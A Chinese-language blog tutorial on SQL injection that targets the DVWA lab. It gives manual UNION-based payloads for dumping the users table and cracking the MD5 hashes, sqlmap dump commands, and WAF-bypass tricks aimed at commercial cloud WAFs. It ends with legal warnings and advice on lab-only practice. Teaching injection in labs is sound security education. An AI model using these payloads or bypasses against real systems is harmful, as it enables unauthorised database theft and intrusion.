💡 导读:如果说 Web 漏洞界也有“武林盟主”,那一定是 SQL 注入(SQL Injection)。尽管诞生了二十多年,它依然是 OWASP Top 10 中的常客,也是所有渗透测试人员的必修课。本期我们将利用上期安装的 Burp Suite,亲手解剖 SQL 注入的原理,并实战演示如何绕过现代防火墙(WAF)。
一、 什么是 SQL 注入?(小白也能懂版)
1. 核心逻辑
网站的后台需要向数据库索要数据,使用的语言就是 SQL。
比如,用户登录时,后端代码可能是这样拼接的:
SELECT * FROM users WHERE username = '输入的用户名' AND password = '输入的密码';
2. 攻击发生点
黑客在输入框里不输入正常的用户名,而是输入 ' OR '1'='1。
拼接后的 SQL 语句变成了:
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = 'xxx';
因为 '1'='1'永远为真(True),这条语句会直接跳过密码验证,返回数据库中第一条用户数据(通常是管理员)。
这就叫 SQL 注入:通过输入恶意的 SQL 代码片段,改变原本 SQL 语句的逻辑。
二、 实战演练:手工注入四部曲
我们将在 DVWA (Low 级别) 环境下进行演示。打开 Burp Suite 的 Proxy 拦截功能。
第一步:探测注入点(Testing)
在 User ID 输入框中输入 '(单引号)。
-
现象:页面报错
You have an error in your SQL syntax... -
结论:页面回显了数据库错误信息,说明我们输入的单引号被带进了 SQL 语句执行,存在注入漏洞。
第二步:判断字段数(Order by)
我们需要知道查询的结果有多少列,才能决定怎么显示数据。
在 Burp Repeater 中修改请求:
1' ORDER BY 1 --
1' ORDER BY 2 --
1' ORDER BY 3 --
-
现象:当输入
ORDER BY 3时报错,说明查询结果只有 2 列。 -
注释符
--:用于注释掉后面原本的 SQL 代码(如LIMIT 1),防止语法错误。
第三步:联合查询(Union Select)
UNION可以把我们想要的查询结果拼接到原结果后面。
1' UNION SELECT 1,2 --
-
现象:页面显示了数字
1和2。这意味着这两个位置可以用来显示我们想要的数据(比如数据库版本、当前用户)。
第四步:获取核心数据(Exploitation)
现在,我们把 2替换成我们想要窃取的信息。
-
获取当前数据库名:
1' UNION SELECT 1,database() --页面显示
dvwa。 -
获取表名:
1' UNION SELECT 1,table_name FROM information_schema.tables WHERE table_schema='dvwa' --页面显示
users。 -
获取字段名(列名):
1' UNION SELECT 1,column_name FROM information_schema.columns WHERE table_name='users' --页面显示
user,password。 -
拖库(Dump Data):
1' UNION SELECT user, password FROM users --结果:页面直接显示了管理员账号和 MD5 加密的密码。复制密文到
cmd5.com即可解密。
三、 自动化神器:SQLmap 极简实战
手工注入虽然能锻炼思维,但在实战中效率太低。我们使用 SQLmap 来自动化完成上述所有步骤。
场景:你用 Burp 抓到了一个带有 Cookie 的请求(已登录状态)。
1. 保存请求包
将 Burp Repeater 中的 Raw 请求复制,保存为 request.txt。
2. 一键检测
sqlmap -r request.txt --batch
-
-r:加载请求文件。 -
--batch:全自动,不需要人工确认。
3. 直接拖库
sqlmap -r request.txt --current-db
sqlmap -r request.txt -D dvwa --tables
sqlmap -r request.txt -D dvwa -T users --dump
四、 进阶:2026 年的 WAF 绕过技巧(Bypass)
现在的网站大多装有云 WAF(如阿里云盾、腾讯云 WAF)。直接输入 ' OR 1=1会被秒封 IP。我们需要变形。
技巧 1:内联注释
WAF 可能过滤了 union select,但数据库(MySQL)支持 /*!50000 ... */这种特殊语法。
1' /*!50000 UNION*/ /*!50000 SELECT*/ 1,2 --
技巧 2:编码混淆
将空格替换为 %09(Tab) 或 %0a(换行),或者使用 URL 编码。
1'%09UNION%09SELECT%091,2%23
技巧 3:逻辑等价替换
不用 OR 1=1,改用其他永真条件。
1' OR 'a'='a
1' OR 2>1
技巧 4:分块传输(Chunked Encoding)
利用 HTTP 协议的分块传输特性,将 Payload 拆碎,让 WAF 无法重组语义。(此技术需配合 Burp 插件如 Chunked coding converter使用)。
五、 真实案例:某电商平台的 SQL 注入
背景:某商城的商品搜索接口 https://shop.com/list?keyword=手机。
发现:输入 '页面报错,确认注入。
利用:使用 UNION SELECT读取了 admin_session表。
危害:攻击者直接获取了后台管理员的 Session,无需密码即可登录后台,修改商品价格,造成巨额资损。
⚠️ 安全警示与法律红线
请务必遵守以下准则:
-
严禁未授权测试:再次强调,SQL 注入属于高危漏洞,利用该漏洞读取、下载或篡改他人数据库中的数据,属于非法侵入计算机信息系统罪,必将承担刑事责任。
-
靶场练习:请仅在 DVWA、sqli-labs、Juice Shop 等明确授权的靶场环境中练习本文提到的 Payload。
-
负责任披露:如果在授权测试中发现了 SQL 注入,请立即停止进一步的数据读取(如
--dump),仅截取少量数据作为证明,并立即通知厂商修复。
技术是双刃剑,用 SQLmap 守护系统安全,而不是摧毁它。
💬 互动环节
-
你在挖洞时遇到过最变态的 WAF 是什么?是如何绕过的?
-
除了 MySQL,你还了解 PostgreSQL 或 Oracle 的注入特性吗?
-
欢迎在评论区分享你的“Bypass”经验或提问!
👉 下一期预告:【漏洞攻防-逻辑篇】越权与支付漏洞 —— 为什么修改一下价格就能 0 元购买商品?

756

被折叠的 条评论
为什么被折叠?



